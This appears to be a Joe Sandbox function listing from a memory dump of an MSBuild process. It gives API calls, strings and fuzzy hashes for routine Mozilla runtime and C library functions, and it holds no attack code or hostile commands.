API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: b6ae206ac90b5e2977df2e99945a3680e6d21289203c676ed25fa09daaf9b6eb
Instruction ID: 257dc609a5541279fb8bc59b358eba5c1192adac630a5422accd09e63655f295
Opcode Fuzzy Hash: b6ae206ac90b5e2977df2e99945a3680e6d21289203c676ed25fa09daaf9b6eb
Instruction Fuzzy Hash: A741D0B5E002088FDB00CFA4D885BDEBB74FF48324F108629E816AB781D771A945CF92

Function 6C371530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C37152B,?,?,?,?,6C371248,?), ref: 6C37159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C37152B,?,?,?,?,6C371248,?), ref: 6C3715BC
moz_xmalloc.MOZGLUE(-00000001,?,6C37152B,?,?,?,?,6C371248,?), ref: 6C3715E7
free.MOZGLUE(?,?,?,?,?,?,6C37152B,?,?,?,?,6C371248,?), ref: 6C371606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C37152B,?,?,?,?,6C371248,?), ref: 6C371637

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: b85d6577df64303580ca39b881c81db19ba71c9500c01de39791ddf366a610f2
Instruction ID: 2a9b553d4fbde9c016f9aa20814c4c3a03612bc9f356e853950d44c9249ddae2
Opcode Fuzzy Hash: b85d6577df64303580ca39b881c81db19ba71c9500c01de39791ddf366a610f2
Instruction Fuzzy Hash: ED31EC739001148BC7288E78D86046E77A9FB853747250B2DE867DBBD4EB34D9058BB6

Function 6C3CAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C3DE330,?,6C38C059), ref: 6C3CAD9D

Part of subcall function 6C37CA10: malloc.MOZGLUE(?), ref: 6C37CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C3DE330,?,6C38C059), ref: 6C3CADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C3DE330,?,6C38C059), ref: 6C3CAE01
GetLastError.KERNEL32(?,00000000,?,?,6C3DE330,?,6C38C059), ref: 6C3CAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C3DE330,?,6C38C059), ref: 6C3CAE3D

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: dc7a4a8d082f344d87aefd15ae77592dffb71e95a6455617a3a1dff8b893ef14
Instruction ID: 5f35dcec9b732c0fbc006ae204caf86891fb417705c23906c633507d0c0dc1a6
Opcode Fuzzy Hash: dc7a4a8d082f344d87aefd15ae77592dffb71e95a6455617a3a1dff8b893ef14
Instruction Fuzzy Hash: 69314FB2A013159FDB50DF799D44AABB7F8EF48614F158829E88AD7700E734AC04CBE1

Function 6C3C5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C3DDCA0,?,?,?,6C39E8B5,00000000), ref: 6C3C5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C39E8B5,00000000), ref: 6C3C5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C39E8B5,00000000), ref: 6C3C5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C39E8B5,00000000), ref: 6C3C5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C39E8B5,00000000), ref: 6C3C5FD6

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: ad48be9f396bef47b1af317914ed31f1b0839c401dee80640fb63e29a7c59cf5
Instruction ID: dbfcd9477b4a7143ec6377caf31e290fe2dfb8190d81a278026423f5df0c4019
Opcode Fuzzy Hash: ad48be9f396bef47b1af317914ed31f1b0839c401dee80640fb63e29a7c59cf5
Instruction Fuzzy Hash: FB312934300600CFD725CF29C898A2AB7F9FF89318B644559E5568BB95C732EC41CF91

Function 6C36B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C36B532
moz_xmalloc.MOZGLUE(?), ref: 6C36B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C36B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C36B57E
free.MOZGLUE(00000000), ref: 6C36B58F

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: d409c4260c8f8f7ce880dbb6308b27d3e94a596c89d07ea2b2550cff49a57324
Instruction ID: c6a8414da6c601bf97b9b1f104a2a9367945bcdc322e80380c91223809702ad0
Opcode Fuzzy Hash: d409c4260c8f8f7ce880dbb6308b27d3e94a596c89d07ea2b2550cff49a57324
Instruction Fuzzy Hash: C821F8716002059BDB008F6ADC40BAABBB9FF85308F244029F914DB745E776D911DFB1

Function 6C36B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C36B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C36B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C36B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C36B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C36B849

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 3522a8c2a70f05ab99993870063c237dd9431304d3ff0f0e9f5144c304f087f1
Instruction ID: 371d3f0ed62f1be84bc8d76336f6a4de09448f8b658acf2dad4ee550f5526d56
Opcode Fuzzy Hash: 3522a8c2a70f05ab99993870063c237dd9431304d3ff0f0e9f5144c304f087f1
Instruction Fuzzy Hash: 9B214FB1E002099FDF04DF69D8855FEBBB8EF49218F148129E855AB700E731A944CFA1

Function 6C3C6E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C3C6E78

Part of subcall function 6C3C6A10: InitializeCriticalSection.KERNEL32(6C3EF618), ref: 6C3C6A68
Part of subcall function 6C3C6A10: GetCurrentProcess.KERNEL32 ref: 6C3C6A7D
Part of subcall function 6C3C6A10: GetCurrentProcess.KERNEL32 ref: 6C3C6AA1
Part of subcall function 6C3C6A10: EnterCriticalSection.KERNEL32(6C3EF618), ref: 6C3C6AAE
Part of subcall function 6C3C6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C3C6AE1
Part of subcall function 6C3C6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C3C6B15
Part of subcall function 6C3C6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C3C6B65
Part of subcall function 6C3C6A10: LeaveCriticalSection.KERNEL32(6C3EF618,?,?), ref: 6C3C6B83

MozFormatCodeAddress.MOZGLUE ref: 6C3C6EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C3C6EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C3C6EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C3C6EFF

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 58a2b448c10f3de0464ff2f1b43173ad30e1e178b406821af0f4475717a77d0f
Instruction ID: 523ce6df1e5412200ff3edf94ee684b29901b0b44d8f09900ad8bbd0a189360d
Opcode Fuzzy Hash: 58a2b448c10f3de0464ff2f1b43173ad30e1e178b406821af0f4475717a77d0f
Instruction Fuzzy Hash: 8421A1B1A0431A9FDF10CF69D8856EE77F9EF88308F044439E84997241EB719E598F92

Function 6C3A0D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C363DEF), ref: 6C3A0D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C363DEF), ref: 6C3A0D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C363DEF), ref: 6C3A0DAF

Strings

<jemalloc>, xrefs: 6C3A0D92, 6C3A0DB9
: (malloc) Error in VirtualFree(), xrefs: 6C3A0D97, 6C3A0DBE

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 54752416fe098520753700ddb742487dfea0c485f4dac511ee8229a4f5822d5a
Instruction ID: 1f1fbd15e43793d40edd8f46100d828903c4bf44a8284984fdc185431625df78
Opcode Fuzzy Hash: 54752416fe098520753700ddb742487dfea0c485f4dac511ee8229a4f5822d5a
Instruction Fuzzy Hash: 2DF0E9323803A423E63412E61C0AB5A365DE7CAB68F304037F346EE9C0DA55E8174FB9

Function 6C3C5850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C3C586C
CloseHandle.KERNEL32 ref: 6C3C5878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C3C5898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C3C58C9
free.MOZGLUE(00000000), ref: 6C3C58D3

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: 46264fb996964576ae41510ab4f39fb35ef60627c36d2809888eba033b631bf5
Instruction ID: 63993838cabcaea5856977188cf3dc73401af65abe626bb0ff88e4dd2f4160f1
Opcode Fuzzy Hash: 46264fb996964576ae41510ab4f39fb35ef60627c36d2809888eba033b631bf5
Instruction Fuzzy Hash: 64014F727043019BDBA1DF16FC4864A7BBCEBAF3297244137E41AD2290D7B19814DF95

Function 6C3B7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C3B75C4,?), ref: 6C3B762B

Part of subcall function 6C37CA10: malloc.MOZGLUE(?), ref: 6C37CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C3B74D7,6C3C15FC,?,?,?), ref: 6C3B7644
GetCurrentThreadId.KERNEL32 ref: 6C3B765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C3B74D7,6C3C15FC,?,?,?), ref: 6C3B7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C3B74D7,6C3C15FC,?,?,?), ref: 6C3B7677

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 22fc3d62032f7b888f881924106e08b43a6ad23f28d6f38c26f418a4280f5e31
Instruction ID: 511e384aeb89876802f48be0c7ca98e073ca5980c45e36de85087110887eeb2b
Opcode Fuzzy Hash: 22fc3d62032f7b888f881924106e08b43a6ad23f28d6f38c26f418a4280f5e31
Instruction Fuzzy Hash: 3DF0C271E10746ABD7018F21D888676B77CFFEA259F214317F94457601E7B0A5D08BD1

Function 6C3C1700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C3C1800

Part of subcall function 6C39CBE8: GetCurrentProcess.KERNEL32(?,6C3631A7), ref: 6C39CBF1
Part of subcall function 6C39CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C3631A7), ref: 6C39CBFA

Part of subcall function 6C364290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C3A3EBD,6C3A3EBD,00000000), ref: 6C3642A9

Strings

Details, xrefs: 6C3C1925
{marker.name} - {marker.data.name}, xrefs: 6C3C18C7
name, xrefs: 6C3C1939

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: e5ad403f8e3d13487d13d833e42886c8a838efab858abbe55d152b40014911cf
Instruction ID: f2c3f49cd6ee1797c78dead2dfb9f42e4d309336af284c82355cf1e0e8d6fdd7
Opcode Fuzzy Hash: e5ad403f8e3d13487d13d833e42886c8a838efab858abbe55d152b40014911cf
Instruction Fuzzy Hash: 64710271A0070A9FC704DF28D4907AABBB5FF89304F04466AD8554BB41DB70EA98CFE2

Function 6C38D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C39CBE8: GetCurrentProcess.KERNEL32(?,6C3631A7), ref: 6C39CBF1
Part of subcall function 6C39CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C3631A7), ref: 6C39CBFA

EnterCriticalSection.KERNEL32(6C3EE784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C39D1C5), ref: 6C38D4F2
LeaveCriticalSection.KERNEL32(6C3EE784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C39D1C5), ref: 6C38D50B

Part of subcall function 6C36CFE0: EnterCriticalSection.KERNEL32(6C3EE784), ref: 6C36CFF6
Part of subcall function 6C36CFE0: LeaveCriticalSection.KERNEL32(6C3EE784), ref: 6C36D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C39D1C5), ref: 6C38D52E
EnterCriticalSection.KERNEL32(6C3EE7DC), ref: 6C38D690
LeaveCriticalSection.KERNEL32(6C3EE784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C39D1C5), ref: 6C38D751

Strings

MOZ_CRASH(), xrefs: 6C38D4BB

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 2f811ba2cc09c69a41001b4a594332fa1a8aa20163a6bb2c1c8b0334fa4ea614
Instruction ID: f24a732ef94c7c20792ca0ce85c96ea36b0c0478672de60a6ad4d83b8540bba4
Opcode Fuzzy Hash: 2f811ba2cc09c69a41001b4a594332fa1a8aa20163a6bb2c1c8b0334fa4ea614
Instruction Fuzzy Hash: AF51E071A057068FD768CF29C09065AB7E5EB8D308F54892FE59AC7B84E771E800CF92

Function 6C3B4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C3B4721

Strings

., xrefs: 6C3B476A
-%llu, xrefs: 6C3B4733
profiler-paused, xrefs: 6C3B46E4

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: a5994cf99fc6d312d7c6322f15f00aaabcb757fae3c3da55f590f5dfbb2f0625
Instruction ID: c395235959a4465be09cb06826fcd48ffbaeee3dde3c37187fe17fbfb684970d
Opcode Fuzzy Hash: a5994cf99fc6d312d7c6322f15f00aaabcb757fae3c3da55f590f5dfbb2f0625
Instruction Fuzzy Hash: AA414971E047085BCB08DF78E85215EBBF9EF95744F10862EE8556BB41EB309844CB56

Function 6C3D9830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C3D985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C3D987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C3D98DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C3D98D9

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: e24e872681f8fbba42e1cbec1731c4c34b6294b258836952b7abea4a595fb0db
Instruction ID: 4c291fdda40fb2d818a80dcb2e4fa1944d7b09b612e31a38dd1af54579883765
Opcode Fuzzy Hash: e24e872681f8fbba42e1cbec1731c4c34b6294b258836952b7abea4a595fb0db
Instruction Fuzzy Hash: 85314972B002086FDB14AF59EC505EF77A9DF48718F00442DEA5AAB740DB71A904CFE2

Function 6C3B46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C3B4721

Part of subcall function 6C364410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C3A3EBD,00000017,?,00000000,?,6C3A3EBD,?,?,6C3642D2), ref: 6C364444

Strings

., xrefs: 6C3B476A
-%llu, xrefs: 6C3B4733
profiler-paused, xrefs: 6C3B46E4

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: ebe364ff205a180d18ff338342a21935515ca199ef7ae468d1a0b6cde84a2dd7
Instruction ID: 0fbcfcbac7c354a7b6f7b102b89da81a7c55f1afddba40fcb59b6709a9847f02
Opcode Fuzzy Hash: ebe364ff205a180d18ff338342a21935515ca199ef7ae468d1a0b6cde84a2dd7
Instruction Fuzzy Hash: 5B314671F042085BCB08CF6DE89229EBBE69B98314F15813EE915ABB41EB709804CF94

Function 6C3BB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C364290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C3A3EBD,6C3A3EBD,00000000), ref: 6C3642A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C3BB127), ref: 6C3BB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C3BB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C3BB4E4

Strings

pid:, xrefs: 6C3BB4DE

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 11f43d81c226c0e234d3c6c1eb34275f65bda678fd2ce4eeee9c53731d4a0f8c
Instruction ID: 1b48c4633edd13e6280f88a16b14ad408738d88f81fff4cee8f0ed452f8ff8fb
Opcode Fuzzy Hash: 11f43d81c226c0e234d3c6c1eb34275f65bda678fd2ce4eeee9c53731d4a0f8c
Instruction Fuzzy Hash: C031D131A012189BDB10DFA9D880AEEF7B5BF5931CF54052AD8457BE41DB32E845CFA2

Function 6C37BF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C3C7A3F), ref: 6C37BF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C3C7A3F), ref: 6C37BF5D
